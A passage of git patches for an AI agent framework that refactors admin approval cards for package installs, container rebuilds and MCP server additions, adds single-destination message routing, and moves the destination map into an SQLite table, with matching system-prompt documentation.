`npm: ${p}`)].join(', '); - if (deliveryAdapter) { - await deliveryAdapter.deliver( - approvalChannelType, - approvalPlatformId, - null, - 'chat-sdk', - JSON.stringify({ - type: 'ask_question', - questionId: approvalId, - question: `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, - options: ['Approve', 'Reject'], - }), - ); - } - - log.info('Package install approval requested', { approvalId, agentGroup: agentGroup.name, apt, npm }); + const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', '); + await requestApproval( + session, + agentGroup.name, + 'install_packages', + { apt, npm, reason }, + `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, + ); break; } case 'request_rebuild': { - const requestId = content.requestId as string; - const reason = content.reason as string; - const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' }); + notifyAgent(session, 'request_rebuild failed: agent group not found.'); break; } - - // Find admin channel for approval card - const adminGroup2 = getAdminAgentGroup(); - let rebuildChannelType: string | null = null; - let rebuildPlatformId: string | null = null; - - if (adminGroup2) { - const adminMGs2 = getMessagingGroupsByAgentGroup(adminGroup2.id); - if (adminMGs2.length > 0) { - rebuildChannelType = adminMGs2[0].channel_type; - rebuildPlatformId = adminMGs2[0].platform_id; - } - } - - if (!rebuildChannelType || !rebuildPlatformId) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: 'No admin channel found for approval', - }); - break; - } - - const rebuildApprovalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - - createPendingApproval({ - approval_id: rebuildApprovalId, - session_id: session.id, - request_id: requestId, - action: 'request_rebuild', - payload: JSON.stringify({ reason }), - created_at: new Date().toISOString(), - }); - - if (deliveryAdapter) { - await deliveryAdapter.deliver( - rebuildChannelType, - rebuildPlatformId, - null, - 'chat-sdk', - JSON.stringify({ - type: 'ask_question', - questionId: rebuildApprovalId, - question: `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`, - options: ['Approve', 'Reject'], - }), - ); - } - - log.info('Container rebuild approval requested', { approvalId: rebuildApprovalId, agentGroup: agentGroup.name }); + const reason = (content.reason as string) || ''; + await requestApproval( + session, + agentGroup.name, + 'request_rebuild', + { reason }, + `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`, + ); break; } diff --git a/src/index.ts b/src/index.ts index 29bb3e2..e237834 100644 --- a/src/index.ts +++ b/src/index.ts @@ -22,8 +22,8 @@ import { getSession, } from './db/sessions.js'; import { getAgentGroup, updateAgentGroup } from './db/agent-groups.js'; -import { writeSessionMessage, writeSystemResponse } from './session-manager.js'; -import { wakeContainer, buildAgentGroupImage } from './container-runner.js'; +import { writeSessionMessage } from './session-manager.js'; +import { wakeContainer, buildAgentGroupImage, killContainer } from './container-runner.js'; import { log } from './log.js'; // Channel barrel — each enabled channel self-registers on import. @@ -177,7 +177,12 @@ async function handleQuestionResponse(questionId: string, selectedOption: string await wakeContainer(session); } -/** Handle an admin's response to an approval card. */ +/** + * Handle an admin's response to an approval card. + * Fire-and-forget model: the agent doesn't poll for this — we write a chat + * notification to its session DB, and optionally kill the container so the + * next wake picks up new config/images. + */ async function handleApprovalResponse( approval: import('./types.js').PendingApproval, selectedOption: string, @@ -189,52 +194,69 @@ async function handleApprovalResponse( return; } - if (selectedOption === 'Approve') { - const payload = JSON.parse(approval.payload); - - if (approval.action === 'install_packages') { - const agentGroup = getAgentGroup(session.agent_group_id); - const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {}; - if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] }; - if (payload.apt) containerConfig.packages.apt.push(...payload.apt); - if (payload.npm) containerConfig.packages.npm.push(...payload.npm); - - updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); - - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', { - message: 'Packages approved. Run request_rebuild to apply.', - approved: { apt: payload.apt, npm: payload.npm }, - }); - - log.info('Package install approved', { approvalId: approval.approval_id, userId }); - } else if (approval.action === 'request_rebuild') { - try { - await buildAgentGroupImage(session.agent_group_id); - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', { - message: 'Container image rebuilt. Changes will take effect on next container start.', - }); - log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId }); - } catch (e) { - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', { - error: `Rebuild failed: ${e instanceof Error ? e.message : String(e)}`, - }); - log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e }); - } - } - } else { - // Rejected - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', { - error: `Request rejected by admin (${userId})`, + const notify = (text: string): void => { + writeSessionMessage(session.agent_group_id, session.id, { + id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ text, sender: 'system', senderId: 'system' }), }); + }; + + if (selectedOption !== 'Approve') { + notify(`Your ${approval.action} request was rejected by admin.`); log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId }); + deletePendingApproval(approval.approval_id); + await wakeContainer(session); + return; + } + + const payload = JSON.parse(approval.payload); + + if (approval.action === 'install_packages') { + const agentGroup = getAgentGroup(session.agent_group_id); + const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] }; + if (payload.apt) containerConfig.packages.apt.push(...payload.apt); + if (payload.npm) containerConfig.packages.npm.push(...payload.npm); + updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); + + const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', '); + notify(`Packages approved (${pkgs}). Call request_rebuild to apply them.`); + log.info('Package install approved', { approvalId: approval.approval_id, userId }); + } else if (approval.action === 'request_rebuild') { + try { + await buildAgentGroupImage(session.agent_group_id); + // Kill the container so the next wake uses the new image + killContainer(session.id, 'rebuild applied'); + notify('Container image rebuilt. Your container will restart with the new image on the next message.'); + log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId }); + } catch (e) { + notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`); + log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e }); + } + } else if (approval.action === 'add_mcp_server') { + const agentGroup = getAgentGroup(session.agent_group_id); + const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (!containerConfig.mcpServers) containerConfig.mcpServers = {}; + containerConfig.mcpServers[payload.name] = { + command: payload.command, + args: payload.args || [], + env: payload.env || {}, + }; + updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); + + // Kill the container so next wake loads the new MCP server config + killContainer(session.id, 'mcp server added'); + notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`); + log.info('MCP server add approved', { approvalId: approval.approval_id, userId }); } deletePendingApproval(approval.approval_id); - - // Wake container so the agent's polling MCP tool picks up the response - if (session) { - await wakeContainer(session); - } + await wakeContainer(session); } /** Graceful shutdown. */ diff --git a/src/session-manager.ts b/src/session-manager.ts index 804c38d..1bd61be 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -11,6 +11,9 @@ import fs from 'fs'; import path from 'path'; import { DATA_DIR } from './config.js'; +import { getAgentGroup } from './db/agent-groups.js'; +import { getDestinations } from './db/agent-destinations.js'; +import { getMessagingGroup } from './db/messaging-groups.js'; import { createSession, findSession, findSessionByAgentGroup, getSession, updateSession } from './db/sessions.js'; import { log } from './log.js'; import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './db/schema.js'; @@ -128,6 +131,46 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void } } +/** + * Write the destination map file into the session folder. + * Called before every container wake so admin changes take effect on next start. + * The container loads this at startup to know what destinations exist. + */ +export function writeDestinationsFile(agentGroupId: string, sessionId: string): void { + const dir = sessionDir(agentGroupId, sessionId); + if (!fs.existsSync(dir)) return; + + const rows = getDestinations(agentGroupId); + const destinations: Array> = []; + + for (const row of rows) { + if (row.target_type === 'channel') { + const mg = getMessagingGroup(row.target_id); + if (!mg) continue; + destinations.push({ + name: row.local_name, + displayName: mg.name ?? row.local_name, + type: 'channel', + channelType: mg.channel_type, + platformId: mg.platform_id, + }); + } else if (row.target_type === 'agent') { + const ag = getAgentGroup(row.target_id); + if (!ag) continue; + destinations.push({ + name: row.local_name, + displayName: ag.name, + type: 'agent', + agentGroupId: ag.id, + }); + } + } + + const filePath = path.join(dir, '.nanoclaw-destinations.json'); + fs.writeFileSync(filePath, JSON.stringify({ destinations }, null, 2)); + log.debug('Destination map written', { sessionId, count: destinations.length }); +} + /** Write a message to a session's inbound DB (messages_in). Host-only. */ export function writeSessionMessage( agentGroupId: string, diff --git a/src/types.ts b/src/types.ts index 0d6983d..ba374c8 100644 --- a/src/types.ts +++ b/src/types.ts @@ -99,3 +99,13 @@ export interface PendingApproval { payload: string; // JSON created_at: string; } + +// ── Agent destinations (central DB) ── + +export interface AgentDestination { + agent_group_id: string; + local_name: string; + target_type: 'channel' | 'agent'; + target_id: string; + created_at: string; +} From 67f081671d5c5963b9790e684e419a27cb0c1762 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 16:31:45 +0300 Subject: [PATCH 044/295] style: prettier formatting fixes Co-Authored-By: Claude Opus 4.6 (1M context) --- src/db/agent-destinations.ts | 18 ++++++------------ src/delivery.ts | 30 +++++++++++++++++------------- 2 files changed, 23 insertions(+), 25 deletions(-) diff --git a/src/db/agent-destinations.ts b/src/db/agent-destinations.ts index 2d319de..737e67d 100644 --- a/src/db/agent-destinations.ts +++ b/src/db/agent-destinations.ts @@ -39,28 +39,22 @@ export function getDestinationByTarget( targetId: string, ): AgentDestination | undefined { return getDb() - .prepare( - 'SELECT * FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ?', - ) + .prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ?') .get(agentGroupId, targetType, targetId) as AgentDestination | undefined; } /** Permission check: can this agent send to this target? */ -export function hasDestination( - agentGroupId: string, - targetType: 'channel' | 'agent', - targetId: string, -): boolean { +export function hasDestination(agentGroupId: string, targetType: 'channel' | 'agent', targetId: string): boolean { const row = getDb() - .prepare( - 'SELECT 1 FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ? LIMIT 1', - ) + .prepare('SELECT 1 FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ? LIMIT 1') .get(agentGroupId, targetType, targetId); return !!row; } export function deleteDestination(agentGroupId: string, localName: string): void { - getDb().prepare('DELETE FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?').run(agentGroupId, localName); + getDb() + .prepare('DELETE FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?') + .run(agentGroupId, localName); } /** Normalize a human-readable name into a lowercase, dash-separated identifier. */ diff --git a/src/delivery.ts b/src/delivery.ts index 144d213..2c44941 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -26,12 +26,7 @@ import { updateAgentGroup, getAgentGroupByFolder, } from './db/agent-groups.js'; -import { - createDestination, - getDestinationByName, - hasDestination, - normalizeName, -} from './db/agent-destinations.js'; +import { createDestination, getDestinationByName, hasDestination, normalizeName } from './db/agent-destinations.js'; import { getMessagingGroupByPlatform, getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { @@ -617,7 +612,10 @@ async function handleSystemAction( }); // Fire-and-forget notification back to the creator - notifyAgent(session, `Agent "${localName}" created. You can now message it with ....`); + notifyAgent( + session, + `Agent "${localName}" created. You can now message it with ....`, + ); log.info('Agent group created', { agentGroupId, name, localName, folder, parent: sourceGroup.id }); // Note: requestId is unused — this is fire-and-forget, not request/response. void requestId; @@ -636,12 +634,18 @@ async function handleSystemAction( notifyAgent(session, 'add_mcp_server failed: name and command are required.'); break; } - await requestApproval(session, agentGroup.name, 'add_mcp_server', { - name: serverName, - command, - args: (content.args as string[]) || [], - env: (content.env as Record) || {}, - }, `Agent "${agentGroup.name}" requests a new MCP server:\n${serverName} (${command})`); + await requestApproval( + session, + agentGroup.name, + 'add_mcp_server', + { + name: serverName, + command, + args: (content.args as string[]) || [], + env: (content.env as Record) || {}, + }, + `Agent "${agentGroup.name}" requests a new MCP server:\n${serverName} (${command})`, + ); break; } From 09e1861a22190ed453500bad571f4c2618664d48 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 16:36:09 +0300 Subject: [PATCH 045/295] =?UTF-8?q?feat:=20single-destination=20shortcut?= =?UTF-8?q?=20=E2=80=94=20no=20wrapping=20needed=20when=20there's=20only?= =?UTF-8?q?=20one?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When an agent has exactly one configured destination, wrapping output in blocks is unnecessary. Plain text goes to the sole destination automatically. This preserves the simple "just reply" flow for the common case of one user on one channel. Applies in three places: - System prompt addendum: single-destination case gets a simplified explanation ("your messages are delivered to X, just write directly"). Multi-destination case keeps the syntax docs. - Main output parser: if zero blocks are found and there is exactly one destination, the entire cleaned text (with stripped) is sent to that destination. - send_message / send_file MCP tools: `to` parameter is now optional. With one destination, omitted defaults to it. With multiple, omitting returns an error listing the options. Multi-destination behavior is unchanged — explicit is still required, and untagged text is still scratchpad. groups/global/CLAUDE.md updated to describe both cases. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/destinations.ts | 16 ++++++ container/agent-runner/src/mcp-tools/core.ts | 60 ++++++++++++-------- container/agent-runner/src/poll-loop.ts | 51 +++++++++++------ groups/global/CLAUDE.md | 19 +++---- 4 files changed, 96 insertions(+), 50 deletions(-) diff --git a/container/agent-runner/src/destinations.ts b/container/agent-runner/src/destinations.ts index 663dcd4..57f151d 100644 --- a/container/agent-runner/src/destinations.ts +++ b/container/agent-runner/src/destinations.ts @@ -73,6 +73,22 @@ export function buildSystemPromptAddendum(): string { ].join('\n'); } + // Single-destination shortcut: the agent just writes its response normally. + // No wrapping needed. This preserves the simple case (one user, one channel). + if (cache.length === 1) { + const d = cache[0]; + const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : ''; + return [ + '## Sending messages', + '', + `Your messages are delivered to \`${d.name}\`${label}. Just write your response directly — no special wrapping needed.`, + '', + 'To mark something as scratchpad (logged but not sent), wrap it in `...`.', + '', + 'To send a message mid-response (e.g., an acknowledgment before a long task), call the `send_message` MCP tool.', + ].join('\n'); + } + const lines = ['## Sending messages', '', 'You can send messages to the following destinations:', '']; for (const d of cache) { const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : ''; diff --git a/container/agent-runner/src/mcp-tools/core.ts b/container/agent-runner/src/mcp-tools/core.ts index d36b029..0180b72 100644 --- a/container/agent-runner/src/mcp-tools/core.ts +++ b/container/agent-runner/src/mcp-tools/core.ts @@ -35,37 +35,52 @@ function destinationList(): string { return all.map((d) => d.name).join(', '); } +/** + * Resolve a destination name to routing fields. + * If `to` is omitted and the agent has exactly one destination, that one is used. + * With multiple destinations, omitting `to` is an error. + */ function resolveRouting( - to: string, -): { channel_type: string; platform_id: string } | { error: string } { - const dest = findByName(to); - if (!dest) return { error: `Unknown destination "${to}". Known: ${destinationList()}` }; - if (dest.type === 'channel') { - return { channel_type: dest.channelType!, platform_id: dest.platformId! }; + to: string | undefined, +): { channel_type: string; platform_id: string; resolvedName: string } | { error: string } { + let name = to; + if (!name) { + const all = getAllDestinations(); + if (all.length === 0) return { error: 'No destinations configured.' }; + if (all.length > 1) { + return { + error: `You have multiple destinations — specify "to". Options: ${all.map((d) => d.name).join(', ')}`, + }; + } + name = all[0].name; } - return { channel_type: 'agent', platform_id: dest.agentGroupId! }; + const dest = findByName(name); + if (!dest) return { error: `Unknown destination "${name}". Known: ${destinationList()}` }; + if (dest.type === 'channel') { + return { channel_type: dest.channelType!, platform_id: dest.platformId!, resolvedName: name }; + } + return { channel_type: 'agent', platform_id: dest.agentGroupId!, resolvedName: name }; } export const sendMessage: McpToolDefinition = { tool: { name: 'send_message', description: - 'Send a message to a named destination. Use destination names from your system prompt (not raw IDs).', + 'Send a message to a named destination. If you have only one destination, you can omit `to`.', inputSchema: { type: 'object' as const, properties: { - to: { type: 'string', description: 'Destination name (e.g., "family", "worker-1")' }, + to: { type: 'string', description: 'Destination name (e.g., "family", "worker-1"). Optional if you have only one destination.' }, text: { type: 'string', description: 'Message content' }, }, - required: ['to', 'text'], + required: ['text'], }, }, async handler(args) { - const to = args.to as string; const text = args.text as string; - if (!to || !text) return err('to and text are required'); + if (!text) return err('text is required'); - const routing = resolveRouting(to); + const routing = resolveRouting(args.to as string | undefined); if ('error' in routing) return err(routing.error); const id = generateId(); @@ -78,32 +93,31 @@ export const sendMessage: McpToolDefinition = { content: JSON.stringify({ text }), }); - log(`send_message: #${seq} → ${to}`); - return ok(`Message sent to ${to} (id: ${seq})`); + log(`send_message: #${seq} → ${routing.resolvedName}`); + return ok(`Message sent to ${routing.resolvedName} (id: ${seq})`); }, }; export const sendFile: McpToolDefinition = { tool: { name: 'send_file', - description: 'Send a file to a named destination.', + description: 'Send a file to a named destination. If you have only one destination, you can omit `to`.', inputSchema: { type: 'object' as const, properties: { - to: { type: 'string', description: 'Destination name' }, + to: { type: 'string', description: 'Destination name. Optional if you have only one destination.' }, path: { type: 'string', description: 'File path (relative to /workspace/agent/ or absolute)' }, text: { type: 'string', description: 'Optional accompanying message' }, filename: { type: 'string', description: 'Display name (default: basename of path)' }, }, - required: ['to', 'path'], + required: ['path'], }, }, async handler(args) { - const to = args.to as string; const filePath = args.path as string; - if (!to || !filePath) return err('to and path are required'); + if (!filePath) return err('path is required'); - const routing = resolveRouting(to); + const routing = resolveRouting(args.to as string | undefined); if ('error' in routing) return err(routing.error); const resolvedPath = path.isAbsolute(filePath) ? filePath : path.resolve('/workspace/agent', filePath); @@ -125,8 +139,8 @@ export const sendFile: McpToolDefinition = { content: JSON.stringify({ text: (args.text as string) || '', files: [filename] }), }); - log(`send_file: ${id} → ${to} (${filename})`); - return ok(`File sent to ${to} (id: ${id}, filename: ${filename})`); + log(`send_file: ${id} → ${routing.resolvedName} (${filename})`); + return ok(`File sent to ${routing.resolvedName} (id: ${id}, filename: ${filename})`); }, }; diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 6b358de..83d0316 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -1,4 +1,4 @@ -import { findByName } from './destinations.js'; +import { findByName, getAllDestinations, type DestinationEntry } from './destinations.js'; import { getPendingMessages, markProcessing, markCompleted, type MessageInRow } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js'; @@ -296,11 +296,14 @@ function handleEvent(event: ProviderEvent, _routing: RoutingContext): void { /** * Parse the agent's final text for ... blocks * and dispatch each one to its resolved destination. Text outside of blocks - * (including ...) is scratchpad — logged but not sent. + * (including ...) is normally scratchpad — logged but + * not sent. * - * If the agent emits zero blocks AND non-empty text, log a warning: - * the agent produced output with no recipient. That's usually a bug in the - * agent — the system prompt tells it to wrap user-visible text in blocks. + * Single-destination shortcut: if the agent has exactly one configured + * destination AND the output contains zero blocks, the entire + * cleaned text (with tags stripped) is sent to that destination. + * This preserves the simple case of one user on one channel — the agent + * doesn't need to know about wrapping syntax at all. */ function dispatchResultText(text: string, routing: RoutingContext): void { const MESSAGE_RE = /([\s\S]*?)<\/message>/g; @@ -324,18 +327,7 @@ function dispatchResultText(text: string, routing: RoutingContext): void { scratchpadParts.push(`[dropped: unknown destination "${toName}"] ${body}`); continue; } - - const platformId = dest.type === 'channel' ? dest.platformId! : dest.agentGroupId!; - const channelType = dest.type === 'channel' ? dest.channelType! : 'agent'; - writeMessageOut({ - id: generateId(), - in_reply_to: routing.inReplyTo, - kind: 'chat', - platform_id: platformId, - channel_type: channelType, - thread_id: null, - content: JSON.stringify({ text: body }), - }); + sendToDestination(dest, body, routing); sent++; } if (lastIndex < text.length) { @@ -346,6 +338,17 @@ function dispatchResultText(text: string, routing: RoutingContext): void { .join('') .replace(/[\s\S]*?<\/internal>/g, '') .trim(); + + // Single-destination shortcut: the agent wrote plain text and has exactly + // one destination. Send the entire cleaned text to it. + if (sent === 0 && scratchpad) { + const all = getAllDestinations(); + if (all.length === 1) { + sendToDestination(all[0], scratchpad, routing); + return; + } + } + if (scratchpad) { log(`[scratchpad] ${scratchpad.slice(0, 500)}${scratchpad.length > 500 ? '…' : ''}`); } @@ -355,6 +358,20 @@ function dispatchResultText(text: string, routing: RoutingContext): void { } } +function sendToDestination(dest: DestinationEntry, body: string, routing: RoutingContext): void { + const platformId = dest.type === 'channel' ? dest.platformId! : dest.agentGroupId!; + const channelType = dest.type === 'channel' ? dest.channelType! : 'agent'; + writeMessageOut({ + id: generateId(), + in_reply_to: routing.inReplyTo, + kind: 'chat', + platform_id: platformId, + channel_type: channelType, + thread_id: null, + content: JSON.stringify({ text: body }), + }); +} + function sleep(ms: number): Promise { return new Promise((resolve) => setTimeout(resolve, ms)); } diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md index c95469e..cc5480f 100644 --- a/groups/global/CLAUDE.md +++ b/groups/global/CLAUDE.md @@ -16,24 +16,23 @@ You are Main, a personal assistant. You help with tasks, answer questions, and c Be concise — every message costs the reader's attention. -### Named destinations +### Destinations -You don't send messages to a "current conversation" — every outbound message goes to an explicitly named destination. The list of destinations available to you is injected into your system prompt at the start of every turn. - -**To send a message**, wrap it in a `...` block. You can include multiple blocks in one response to send to multiple destinations. Text outside of `` blocks is scratchpad — logged but never sent anywhere. +Each turn, your system prompt lists the destinations available to you. If you only have one destination, just write your response directly — it goes there automatically. If you have multiple, wrap each message in a `...` block: ``` On my way home, 15 minutes +kick off the pipeline ``` -Inbound messages are labeled with `from="name"` so you know which destination they came from and can reply by using that same name as `to=`. +Inbound messages are labeled with `from="name"` so you can tell which destination they came from and reply using that same name. ### Mid-turn updates -Use the `mcp__nanoclaw__send_message` tool to send a message mid-work (before your final output) — it takes the same `to` destination name. Pace your updates to the length of the work: +Use the `mcp__nanoclaw__send_message` tool to send a message mid-work (before your final output). If you have one destination, `to` is optional; with multiple, specify it. Pace your updates to the length of the work: -- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and put the result in your final `` block. -- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") via `send_message` so the user knows you got the message. +- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and put the result in your final response. +- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") so the user knows you got the message. - **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. **Never narrate micro-steps.** "I'm going to read the file now… okay, I'm reading it… now I'm parsing it…" is noise. Updates should mark meaningful transitions, not every tool call. @@ -42,12 +41,12 @@ Use the `mcp__nanoclaw__send_message` tool to send a message mid-work (before yo ### Internal thoughts -If part of your output is internal reasoning rather than something for the reader, wrap it in `` tags — or just leave it as plain text outside any `` block. Both are scratchpad. +Wrap reasoning in `...` tags to mark it as scratchpad — logged but not sent. With multiple destinations, any text outside of `` blocks is also treated as scratchpad. With a single destination, only explicit `` tags are scratchpad; the rest of your response is sent. ``` Compiled all three reports, ready to summarize. -Here are the key findings from the research… +Here are the key findings from the research… ``` ### Sub-agents and teammates From b591d7ce96323599e697a5de73600a1bd5d78311 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 16:45:53 +0300 Subject: [PATCH 046/295] refactor: move destinations from JSON file into inbound.db MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The per-session destination map was being written as a sidecar JSON file (/workspace/.nanoclaw-destinations.json) — inconsistent with the rest of v2, where all host↔container IO goes through inbound.db / outbound.db. Move it into a `destinations` table in INBOUND_SCHEMA. The host writes it before every container wake AND on demand (e.g. after create_agent) so the creator sees the new child destination mid-session without a restart. The container queries the table live on every lookup — no cache, no staleness window. - src/db/schema.ts: add `destinations` table to INBOUND_SCHEMA. - src/session-manager.ts: writeDestinationsFile → writeDestinations, writes via DELETE + INSERT inside a transaction. - src/delivery.ts: create_agent handler calls writeDestinations on the creator's session after inserting the new destination rows. - container/agent-runner/src/destinations.ts: queries inbound.db directly in every findByName/getAllDestinations/findByRouting call. No more cache. No setDestinationsForTest (obsolete). No fs import. - container/agent-runner/src/index.ts and mcp-tools/index.ts: remove loadDestinations() calls — no longer needed. - Test helper initTestSessionDb creates the destinations table. Integration test inserts a row directly instead of mocking the cache. No backwards compatibility: sessions predating the schema update must be recreated. This is fine on the v2 branch. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 8 ++ container/agent-runner/src/destinations.ts | 84 +++++++++++-------- container/agent-runner/src/index.ts | 5 +- .../agent-runner/src/integration.test.ts | 19 ++--- container/agent-runner/src/mcp-tools/index.ts | 5 -- src/container-runner.ts | 6 +- src/db/schema.ts | 15 +++- src/delivery.ts | 5 ++ src/session-manager.ts | 64 ++++++++++---- 9 files changed, 132 insertions(+), 79 deletions(-) diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index 0877531..954ebbc 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -95,6 +95,14 @@ export function initTestSessionDb(): { inbound: Database.Database; outbound: Dat status TEXT NOT NULL DEFAULT 'delivered', delivered_at TEXT NOT NULL ); + CREATE TABLE destinations ( + name TEXT PRIMARY KEY, + display_name TEXT, + type TEXT NOT NULL, + channel_type TEXT, + platform_id TEXT, + agent_group_id TEXT + ); `); _outbound = new Database(':memory:'); diff --git a/container/agent-runner/src/destinations.ts b/container/agent-runner/src/destinations.ts index 57f151d..d525cf1 100644 --- a/container/agent-runner/src/destinations.ts +++ b/container/agent-runner/src/destinations.ts @@ -1,11 +1,16 @@ /** - * Destination map loaded at container startup from - * /workspace/.nanoclaw-destinations.json (written by the host on wake). + * Destination map — lives in inbound.db's `destinations` table. * - * The map is BOTH the routing table and the ACL — if a name/target - * isn't in here, the agent can't reach it. + * The host writes this table before every container wake AND on demand + * (e.g. when a new child agent is created mid-session). The container + * queries the table live on every lookup, so admin changes take effect + * immediately — no restart required. + * + * This table is BOTH the routing map and the container-visible ACL. + * The host re-validates on the delivery side against the central DB, + * so even if this table is stale the host's enforcement is authoritative. */ -import fs from 'fs'; +import { getInboundDb } from './db/connection.js'; export interface DestinationEntry { name: string; @@ -16,36 +21,34 @@ export interface DestinationEntry { agentGroupId?: string; } -const DEST_FILE = '/workspace/.nanoclaw-destinations.json'; +interface DestRow { + name: string; + display_name: string | null; + type: 'channel' | 'agent'; + channel_type: string | null; + platform_id: string | null; + agent_group_id: string | null; +} -let cache: DestinationEntry[] = []; - -export function loadDestinations(): void { - try { - if (!fs.existsSync(DEST_FILE)) { - cache = []; - return; - } - const raw = fs.readFileSync(DEST_FILE, 'utf-8'); - const parsed = JSON.parse(raw) as { destinations?: DestinationEntry[] }; - cache = Array.isArray(parsed.destinations) ? parsed.destinations : []; - } catch (err) { - console.error(`[destinations] Failed to load: ${err instanceof Error ? err.message : String(err)}`); - cache = []; - } +function rowToEntry(row: DestRow): DestinationEntry { + return { + name: row.name, + displayName: row.display_name ?? row.name, + type: row.type, + channelType: row.channel_type ?? undefined, + platformId: row.platform_id ?? undefined, + agentGroupId: row.agent_group_id ?? undefined, + }; } export function getAllDestinations(): DestinationEntry[] { - return cache; -} - -/** Test-only: inject destinations without touching the filesystem. */ -export function setDestinationsForTest(destinations: DestinationEntry[]): void { - cache = destinations; + const rows = getInboundDb().prepare('SELECT * FROM destinations ORDER BY name').all() as DestRow[]; + return rows.map(rowToEntry); } export function findByName(name: string): DestinationEntry | undefined { - return cache.find((d) => d.name === name); + const row = getInboundDb().prepare('SELECT * FROM destinations WHERE name = ?').get(name) as DestRow | undefined; + return row ? rowToEntry(row) : undefined; } /** @@ -57,15 +60,23 @@ export function findByRouting( platformId: string | null | undefined, ): DestinationEntry | undefined { if (!channelType || !platformId) return undefined; - if (channelType === 'agent') { - return cache.find((d) => d.type === 'agent' && d.agentGroupId === platformId); - } - return cache.find((d) => d.type === 'channel' && d.channelType === channelType && d.platformId === platformId); + const db = getInboundDb(); + const row = + channelType === 'agent' + ? (db + .prepare("SELECT * FROM destinations WHERE type = 'agent' AND agent_group_id = ?") + .get(platformId) as DestRow | undefined) + : (db + .prepare("SELECT * FROM destinations WHERE type = 'channel' AND channel_type = ? AND platform_id = ?") + .get(channelType, platformId) as DestRow | undefined); + return row ? rowToEntry(row) : undefined; } /** Generate the system-prompt addendum describing destinations and syntax. */ export function buildSystemPromptAddendum(): string { - if (cache.length === 0) { + const all = getAllDestinations(); + + if (all.length === 0) { return [ '## Sending messages', '', @@ -74,9 +85,8 @@ export function buildSystemPromptAddendum(): string { } // Single-destination shortcut: the agent just writes its response normally. - // No wrapping needed. This preserves the simple case (one user, one channel). - if (cache.length === 1) { - const d = cache[0]; + if (all.length === 1) { + const d = all[0]; const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : ''; return [ '## Sending messages', @@ 